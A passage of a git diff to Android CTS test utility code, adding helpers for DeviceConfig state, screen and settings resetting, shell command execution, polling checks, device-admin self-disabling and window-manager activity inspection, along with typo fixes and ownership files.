@@ -34,7 +34,7 @@
      *
      * @param context context used to retrieve the {@link DeviceConfig} provider.
      * @param namespace {@code DeviceConfig} namespace.
-     * @param key prefence key.
+     * @param key preference key.
      * @param value value to be set before the test is run.
      */
     public DeviceConfigStateChangerRule(@NonNull Context context, @NonNull String namespace,
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateHelper.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateHelper.java
new file mode 100644
index 0000000..202025a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateHelper.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+
+import android.provider.DeviceConfig;
+import android.util.ArrayMap;
+
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.Objects;
+
+/**
+ * Helper to automatically save multiple existing DeviceConfig values, change them during tests, and
+ * restore the original values after the test.
+ */
+public class DeviceConfigStateHelper implements AutoCloseable {
+    private final String mNamespace;
+    @GuardedBy("mOriginalValues")
+    private final ArrayMap<String, String> mOriginalValues = new ArrayMap<>();
+
+    /**
+     * @param namespace DeviceConfig namespace.
+     */
+    public DeviceConfigStateHelper(@NonNull String namespace) {
+        mNamespace = Objects.requireNonNull(namespace);
+    }
+
+    private void maybeCacheOriginalValueLocked(String key) {
+        if (!mOriginalValues.containsKey(key)) {
+            // Only save the current value if we haven't changed it.
+            final String ogValue = SystemUtil.runWithShellPermissionIdentity(
+                    () -> DeviceConfig.getProperty(mNamespace, key));
+            mOriginalValues.put(key, ogValue);
+        }
+    }
+
+    public void set(@NonNull String key, @Nullable String value) {
+        synchronized (mOriginalValues) {
+            maybeCacheOriginalValueLocked(key);
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue(
+                        DeviceConfig.setProperty(mNamespace, key, value, /* makeDefault */false)));
+    }
+
+    public void set(@NonNull DeviceConfig.Properties properties) {
+        synchronized (mOriginalValues) {
+            for (String key : properties.getKeyset()) {
+                maybeCacheOriginalValueLocked(key);
+            }
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue(DeviceConfig.setProperties(properties)));
+    }
+
+    public void restoreOriginalValues() {
+        final DeviceConfig.Properties.Builder builder =
+                new DeviceConfig.Properties.Builder(mNamespace);
+        synchronized (mOriginalValues) {
+            for (int i = 0; i < mOriginalValues.size(); ++i) {
+                builder.setString(mOriginalValues.keyAt(i), mOriginalValues.valueAt(i));
+            }
+            mOriginalValues.clear();
+        }
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> DeviceConfig.setProperties(builder.build()));
+    }
+
+    @Override
+    public void close() throws Exception {
+        restoreOriginalValues();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
index 6f186de..8858970 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
@@ -32,7 +32,7 @@
      *
      * @param context context used to retrieve the {@link DeviceConfig} provider.
      * @param namespace {@code DeviceConfig} namespace.
-     * @param key prefence key.
+     * @param key preference key.
      */
     public DeviceConfigStateKeeperRule(@NonNull Context context, @NonNull String namespace,
             @NonNull String key) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
index 6875ae1..859290e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
@@ -45,7 +45,7 @@
      *
      * @param context context used to retrieve the {@link Settings} provider.
      * @param namespace settings namespace.
-     * @param key prefence key.
+     * @param key preference key.
      */
     public DeviceConfigStateManager(@NonNull Context context, @NonNull String namespace,
             @NonNull String key) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java
index db148bf..f28d085 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ImeAwareEditText.java
@@ -76,7 +76,7 @@
 
     public void scheduleShowSoftInput() {
         final InputMethodManager imm = getContext().getSystemService(InputMethodManager.class);
-        if (imm.isActive(this)) {
+        if (imm.hasActiveInputConnection(this)) {
             // This means that ImeAwareEditText is already connected to the IME.
             // InputMethodManager#showSoftInput() is guaranteed to pass client-side focus check.
             mHasPendingShowSoftInputRequest = false;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
index c1f4ef5..717fd22 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
@@ -49,12 +49,16 @@
     }
 
     public static Location createLocation(String provider, double latitude, double longitude, float accuracy) {
+        return createLocation(provider, latitude, longitude, accuracy, SystemClock.elapsedRealtimeNanos());
+    }
+
+    public static Location createLocation(String provider, double latitude, double longitude, float accuracy, long elapsedRealTimeNanos) {
         Location location = new Location(provider);
         location.setLatitude(latitude);
         location.setLongitude(longitude);
         location.setAccuracy(accuracy);
         location.setTime(System.currentTimeMillis());
-        location.setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos());
+        location.setElapsedRealtimeNanos(elapsedRealTimeNanos);
         return location;
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java
index 502b67b..b5a78a9 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MatcherUtils.java
@@ -95,14 +95,22 @@
     }
 
     /**
-     * {@link AccessibilityNodeInfo} matcher based on whether its {@link Throwable::getText text} is
-     * matching {@code condition}.
+     * {@link AccessibilityNodeInfo} matcher based on whether its
+     * {@link AccessibilityNodeInfo::getText text} is matching {@code condition}.
      */
     public static Matcher<AccessibilityNodeInfo> hasTextThat(Matcher<? super String> condition) {
         return propertyMatches("text", AccessibilityNodeInfo::getText, condition);
     }
 
     /**
+     * {@link AccessibilityNodeInfo} matcher based on whether its
+     * {@link AccessibilityNodeInfo::getViewIdResourceName view id} is matching {@code condition}.
+     */
+    public static Matcher<AccessibilityNodeInfo> hasIdThat(Matcher<? super String> condition) {
+        return propertyMatches("id", AccessibilityNodeInfo::getViewIdResourceName, condition);
+    }
+
+    /**
      * Runs {@code action}, and asserts that it throws an exception matching {@code exceptionCond}.
      */
     public static void assertThrows(
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
new file mode 100644
index 0000000..b06092c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -0,0 +1 @@
+per-file BaseDefaultPermissionGrantPolicyTest.java = eugenesusla@google.com, moltmann@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
index bcc3530..00eda91 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PollingCheck.java
@@ -17,22 +17,33 @@
 package com.android.compatibility.common.util;
 
 import java.util.concurrent.Callable;
+import java.util.function.BooleanSupplier;
 
 import junit.framework.Assert;
 
 public abstract class PollingCheck {
     private static final long TIME_SLICE = 50;
-    private long mTimeout = 3000;
+    private static final long DEFAULT_TIMEOUT = 3_000;
+    private static final String DEFAULT_ERROR_MESSAGE = "unexpected timeout";
+
+    private final long mTimeout;
+    private final String mErrorMessage;
 
     public static interface PollingCheckCondition {
         boolean canProceed();
     }
 
     public PollingCheck() {
+        this(DEFAULT_TIMEOUT, DEFAULT_ERROR_MESSAGE);
     }
 
     public PollingCheck(long timeout) {
+        this(timeout, DEFAULT_ERROR_MESSAGE);
+    }
+
+    public PollingCheck(long timeout, String errorMessage) {
         mTimeout = timeout;
+        mErrorMessage = errorMessage;
     }
 
     protected abstract boolean check();
@@ -57,7 +68,7 @@
             timeout -= TIME_SLICE;
         }
 
-        Assert.fail("unexpected timeout");
+        Assert.assertTrue(mErrorMessage, check());
     }
 
     public static void check(CharSequence message, long timeout, Callable<Boolean> condition)
@@ -91,4 +102,13 @@
             }
         }.run();
     }
+
+    public static void waitFor(long timeout, BooleanSupplier condition, String errorMessage) {
+        new PollingCheck(timeout, errorMessage) {
+            @Override
+            protected boolean check() {
+                return condition.getAsBoolean();
+            }
+        }.run();
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index c5933a7..352175a 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -46,6 +46,7 @@
     private static final String TAG_DEV_KEYS = "dev-keys";
     private static final String VENDOR_SDK_VERSION = "ro.vendor.build.version.sdk";
     private static final String VNDK_VERSION = "ro.vndk.version";
+    private static final String CAMERAX_EXTENSIONS_ENABLED = "ro.camerax.extensions.enabled";
 
     public static final String GOOGLE_SETTINGS_QUERY =
             "content query --uri content://com.google.settings/partner";
@@ -69,6 +70,14 @@
     }
 
     /**
+     * Return the CameraX extensions enabled property value. If the read-only property is unset,
+     * the default value returned will be 'false'.
+     */
+    public static boolean areCameraXExtensionsEnabled() {
+        return getPropertyBoolean(CAMERAX_EXTENSIONS_ENABLED);
+    }
+
+    /**
      * Return the first API level for this product. If the read-only property is unset,
      * this means the first API level is the current API level, and the current API level
      * is returned.
@@ -186,6 +195,17 @@
     }
 
     /**
+     * Retrieves the desired boolean property, returning false if not found.
+     */
+    public static boolean getPropertyBoolean(String property) {
+        String value = getProperty(property);
+        if (value == null) {
+            return false;
+        }
+        return Boolean.parseBoolean(value);
+    }
+
+    /**
      * Retrieves the desired integer property, returning INT_VALUE_IF_UNSET if not found.
      */
     public static int getPropertyInt(String property) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ScreenUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ScreenUtils.java
new file mode 100644
index 0000000..86b16cb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ScreenUtils.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+public class ScreenUtils {
+
+    public static void setScreenOn(boolean on) throws Exception {
+        BatteryUtils.turnOnScreen(on);
+
+        // there is no way to listen for changes except broadcasts, and no way to guarantee
+        // broadcast reception except waiting and crossing fingers. 2s should be enough in the idle
+        // case, but may not be enough if the phone isn't idle
+        Thread.sleep(2000);
+    }
+
+    /**
+     * Try-with-resources class that resets the screen state on close to whatever the screen state
+     * was on acquire.
+     */
+    public static class ScreenResetter implements AutoCloseable {
+
+        private final boolean mScreenInteractive;
+
+        public ScreenResetter() {
+            mScreenInteractive = BatteryUtils.getPowerManager().isInteractive();
+        }
+
+        @Override
+        public void close() throws Exception {
+            BatteryUtils.turnOnScreen(mScreenInteractive);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
index 03d4a50..58447e3 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -205,4 +205,26 @@
         return SystemUtil.runShellCommand(
                 String.format("settings --user %d get secure %s", userId, key)).trim();
     }
+
+    public static class SettingResetter implements AutoCloseable {
+        private final String mNamespace;
+        private final String mKey;
+        private final String mOldValue;
+
+        public SettingResetter(String namespace, String key, String value) {
+            mNamespace = namespace;
+            mKey = key;
+            mOldValue = get(namespace, key);
+            set(namespace, key, value);
+        }
+
+        @Override
+        public void close() {
+            if (mOldValue != null) {
+                set(mNamespace, mKey, mOldValue);
+            } else {
+                delete(mNamespace, mKey);
+            }
+        }
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
index 3a0ceb0..92787c5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/StateChangerRule.java
@@ -65,7 +65,7 @@
                     final T currentValue = mStateManager.get();
                     if (!Objects.equals(currentValue, previousValue)) {
                         mStateManager.set(previousValue);
-                        // TODO: if set() thowns a RuntimeException, JUnit will silently catch it
+                        // TODO: if set() throws a RuntimeException, JUnit will silently catch it
                         // and re-run the test case; it should fail instead.
                     }
                 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
index a050094..8dc2b9b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -35,6 +35,7 @@
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.util.concurrent.Callable;
+import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Predicate;
 
@@ -99,15 +100,19 @@
      */
     static byte[] runShellCommandByteOutput(UiAutomation automation, String cmd)
             throws IOException {
+        checkCommandBeforeRunning(cmd);
+        ParcelFileDescriptor pfd = automation.executeShellCommand(cmd);
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            return FileUtils.readInputStreamFully(fis);
+        }
+    }
+
+    private static void checkCommandBeforeRunning(String cmd) {
         Log.v(TAG, "Running command: " + cmd);
         if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
             throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
                     + "or revokeRuntimePermission() directly, which are more robust.");
         }
-        ParcelFileDescriptor pfd = automation.executeShellCommand(cmd);
-        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
-            return FileUtils.readInputStreamFully(fis);
-        }
     }
 
     /**
@@ -123,6 +128,48 @@
     }
 
     /**
+     * Like {@link #runShellCommand(String)} but throws if anything was printed to stderr.
+     */
+    public static String runShellCommandOrThrow(String cmd) {
+        UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            checkCommandBeforeRunning(cmd);
+
+            ParcelFileDescriptor[] fds = automation.executeShellCommandRwe(cmd);
+            ParcelFileDescriptor fdOut = fds[0];
+            ParcelFileDescriptor fdIn = fds[1];
+            ParcelFileDescriptor fdErr = fds[2];
+
+            if (fdIn != null) {
+                try {
+                    // not using stdin
+                    fdIn.close();
+                } catch (Exception e) {
+                    // Ignore
+                }
+            }
+
+            String out;
+            String err;
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
+                out = new String(FileUtils.readInputStreamFully(fis));
+            }
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdErr)) {
+                err = new String(FileUtils.readInputStreamFully(fis));
+            }
+            if (!err.isEmpty()) {
+                fail("Command failed:\n$ " + cmd +
+                        "\n\nstderr:\n" + err +
+                        "\n\nstdout:\n" + out);
+            }
+            return out;
+        } catch (IOException e) {
+            fail("Failed reading command output: " + e);
+            return "";
+        }
+    }
+
+    /**
      * Same as {@link #runShellCommand(String)}, with optionally
      * check the result using {@code resultChecker}.
      */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
index f50107a..6e35fe8 100755
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -62,9 +62,12 @@
     private final WifiManager mWifiManager;
 
     public WifiConfigCreator(Context context) {
+        this(context, context.getApplicationContext().getSystemService(WifiManager.class));
+    }
+
+    public WifiConfigCreator(Context context, WifiManager wifiManager) {
         mContext = context;
-        mWifiManager = (WifiManager)
-                context.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
+        mWifiManager = wifiManager;
     }
 
     /**
@@ -80,7 +83,9 @@
         int netId = mWifiManager.addNetwork(wifiConf);
 
         if (netId != -1) {
+            Log.i(TAG, "Added SSID '" + ssid + "': netId = " + netId + "; enabling it");
             mWifiManager.enableNetwork(netId, true);
+            Log.i(TAG, "SSID '" + ssid + "' enabled!");
         } else {
             Log.w(TAG, "Unable to add SSID '" + ssid + "': netId = " + netId);
         }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
index 119525d..b6473b6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -36,6 +36,7 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
+// TODO(b/183395856): Remove once the remaining silent provisioning tests are removed.
 public class SilentProvisioningTestManager {
     private static final long TIMEOUT_SECONDS = 120L;
     private static final String TAG = "SilentProvisioningTest";
@@ -67,7 +68,7 @@
     public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
         wakeUpAndDismissInsecureKeyguard();
         mContext.startActivity(getStartIntent(provisioningIntent));
-        Log.i(TAG, "startActivity with intent: " + provisioningIntent);
+        Log.i(TAG, "startActivity on user " + mContext.getUserId() + " with " + provisioningIntent);
 
         if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
             return waitManagedProfileProvisioning();
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceAdminReceiverUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceAdminReceiverUtils.java
new file mode 100644
index 0000000..d1d7dcb
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceAdminReceiverUtils.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.enterprise;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Helper class for {@link android.app.admin.DeviceAdminReceiver} implementations.
+ */
+public final class DeviceAdminReceiverUtils {
+
+    private static final String TAG = DeviceAdminReceiverUtils.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final String ACTION_DISABLE_SELF = "disable_self";
+
+    /**
+     * Disables itself as profile / owner upon receiving a {@value #ACTION_DISABLE_SELF} intent.
+     *
+     * <p>This is useful during {@code CTS} development, so the admin can be disabled without a
+     * factory reset, when for some reason the test fails to disable it.
+     *
+     * <p>Typical usage:
+     * <pre><code>
+       public void onReceive(Context context, Intent intent) {
+            if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+            super.onReceive(context, intent);
+       }
+     * </code></pre>
+     *
+     * <p>Then {@code adb shell am broadcast --user USER -a disable_self PACKAGE/RECEIVER}.
+     * <b>Note:</b> caller needs the {@code BIND_DEVICE_ADMIN} permission, so you need to call
+     * {@code adb root} first.
+     *
+     * @return whether the intent was processed or not.
+     */
+    public static boolean disableSelf(Context context, Intent intent) {
+        String action = intent.getAction();
+        int userId = context.getUserId();
+        if (!action.equals(ACTION_DISABLE_SELF)) {
+            if (DEBUG) Log.d(TAG, "Ignoring " + action + " for user " + userId);
+            return false;
+        }
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        String packageName = context.getPackageName();
+        if (dpm.isDeviceOwnerApp(packageName)) {
+            Log.i(TAG, "Disabling " + packageName + " as device owner for user " + userId);
+            dpm.clearDeviceOwnerApp(packageName);
+            if (DEBUG) Log.d(TAG, "Disabled");
+        } else if (dpm.isProfileOwnerApp(packageName)) {
+            ComponentName admin = dpm.getProfileOwner();
+            Log.i(TAG, "Disabling " + admin.flattenToShortString() + " as profile owner for user "
+                    + userId);
+            dpm.clearProfileOwner(admin);
+            if (DEBUG) Log.d(TAG, "Disabled");
+        } else {
+            Log.e(TAG, "Package " + packageName + " is neither device nor profile owner for user "
+                    + userId);
+        }
+        return true;
+    }
+
+    private DeviceAdminReceiverUtils() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
new file mode 100644
index 0000000..b37176e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
@@ -0,0 +1,7 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
+alexkershaw@google.com
+eranm@google.com
+rubinxu@google.com
+sandness@google.com
+pgrafov@google.com
+scottjonathan@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index fb18b06..1964f64 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -124,6 +124,10 @@
             false, ModuleType.APEX,
             "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
                     + ":FE:29:31:98:B1"),
+    TZDATA3("com.google.android.tzdata3",
+            true, ModuleType.APEX,
+            "58:8B:C4:EE:04:1F:47:FA:49:01:8F:66:D2:2E:18:16:35:A5:E3:47:15:2C:06:88:D9:F0:47"
+                    + ":B5:9D:66:19:57"),
     ;
 
     public final String packageName;
diff --git a/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java b/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java
index 7f165ed..1b149a0 100644
--- a/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java
+++ b/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java
@@ -37,6 +37,7 @@
 
 public class WindowManagerUtil {
     private static final String SHELL_DUMPSYS_WINDOW = "dumpsys window --proto";
+    private static final String STATE_RESUMED = "RESUMED";
 
     @Nonnull
     public static WindowManagerServiceDumpProto getDump(@Nonnull ITestDevice device)
@@ -59,12 +60,40 @@
         return windows;
     }
 
+    @Nonnull
+    public static List<ActivityRecordProto> getActivityRecords(@Nonnull ITestDevice device)
+            throws Exception {
+        final WindowManagerServiceDumpProto windowManagerServiceDump = getDump(device);
+        final RootWindowContainerProto rootWindowContainer =
+                windowManagerServiceDump.getRootWindowContainer();
+        final WindowContainerProto windowContainer = rootWindowContainer.getWindowContainer();
+
+        final List<ActivityRecordProto> activityRecords = new ArrayList<>();
+        collectActivityRecords(windowContainer, activityRecords);
+
+        return activityRecords;
+    }
+
+    @Nonnull
+    public static List<String> getResumedActivities(@Nonnull ITestDevice device) throws Exception {
+        List<String> resumedActivities = new ArrayList<>();
+        List<ActivityRecordProto> activityRecords = getActivityRecords(device);
+        for (ActivityRecordProto activityRecord : activityRecords) {
+            if (STATE_RESUMED.equals(activityRecord.getState())) {
+                resumedActivities.add(activityRecord.getName());
+            }
+        }
+
+        return resumedActivities;
+    }
+
     @Nullable
     public static WindowStateProto getWindowWithTitle(@Nonnull ITestDevice device,
             @Nonnull String expectedTitle) throws Exception {
         List<WindowStateProto> windows = getWindows(device);
         for (WindowStateProto window : windows) {
-            if (expectedTitle.equals(window.getIdentifier().getTitle())) {
+            String title = window.getWindowContainer().getIdentifier().getTitle(); 
+            if (expectedTitle.equals(title)) {
                 return window;
             }
         }
@@ -140,4 +169,45 @@
             }
         }
     }
+
+    private static void collectActivityRecords(@Nullable WindowContainerProto windowContainer,
+            @Nonnull List<ActivityRecordProto> out) {
+        if (windowContainer == null) return;
+
+        final List<WindowContainerChildProto> children = windowContainer.getChildrenList();
+        for (WindowContainerChildProto child : children) {
+            if (child.hasWindowContainer()) {
+                collectActivityRecords(child.getWindowContainer(), out);
+            } else if (child.hasDisplayContent()) {
+                final DisplayContentProto displayContent = child.getDisplayContent();
+                for (WindowTokenProto windowToken : displayContent.getOverlayWindowsList()) {
+                    collectActivityRecords(windowToken.getWindowContainer(), out);
+                }
+                if (displayContent.hasRootDisplayArea()) {
+                    final DisplayAreaProto displayArea = displayContent.getRootDisplayArea();
+                    collectActivityRecords(displayArea.getWindowContainer(), out);
+                }
+                collectActivityRecords(displayContent.getWindowContainer(), out);
+            } else if (child.hasDisplayArea()) {
+                final DisplayAreaProto displayArea = child.getDisplayArea();
+                collectActivityRecords(displayArea.getWindowContainer(), out);
+            } else if (child.hasTask()) {
+                final TaskProto task = child.getTask();
+                collectActivityRecords(task.getWindowContainer(), out);
+            } else if (child.hasActivity()) {
+                final ActivityRecordProto activity = child.getActivity();
+                out.add(activity);
+                if (activity.hasWindowToken()) {
+                    final WindowTokenProto windowToken = activity.getWindowToken();
+                    collectActivityRecords(windowToken.getWindowContainer(), out);
+                }
+            } else if (child.hasWindowToken()) {
+                final WindowTokenProto windowToken = child.getWindowToken();
+                collectActivityRecords(windowToken.getWindowContainer(), out);
+            } else if (child.hasWindow()) {
+                final WindowStateProto window = child.getWindow();
+                collectActivityRecords(window.getWindowContainer(), out);
+            }
+        }
+    }
 }
diff --git a/helpers/default/Android.bp b/helpers/default/Android.bp
index fa88045..e042a31 100644
--- a/helpers/default/Android.bp
+++ b/helpers/default/Android.bp
@@ -30,7 +30,7 @@
     srcs: ["src/**/*.java"],
 
     static_libs: [
-        "android-support-test",
+        "androidx.test.rules",
         "cts-helpers-core",
         "cts-helpers-interfaces",
         "ub-uiautomator",
diff --git a/hostsidetests/abioverride/TEST_MAPPING b/hostsidetests/abioverride/TEST_MAPPING
new file mode 100644
index 0000000..ae76c92
--- /dev/null
+++ b/hostsidetests/abioverride/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAbiOverrideHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/abioverride/app/AndroidManifest.xml b/hostsidetests/abioverride/app/AndroidManifest.xml
index 6135732..d7215df 100755
--- a/hostsidetests/abioverride/app/AndroidManifest.xml
+++ b/hostsidetests/abioverride/app/AndroidManifest.xml
@@ -16,15 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.abioverride.app">
+     package="android.abioverride.app">
 
-    <application android:use32bitAbi="true" android:multiArch="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:use32bitAbi="true"
+         android:multiArch="true">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".AbiOverrideActivity" >
+        <activity android:name=".AbiOverrideActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/accounts/src/android/host/accounts/AccountManagerXUserTest.java b/hostsidetests/accounts/src/android/host/accounts/AccountManagerXUserTest.java
index 03b3e31..e79fce2 100644
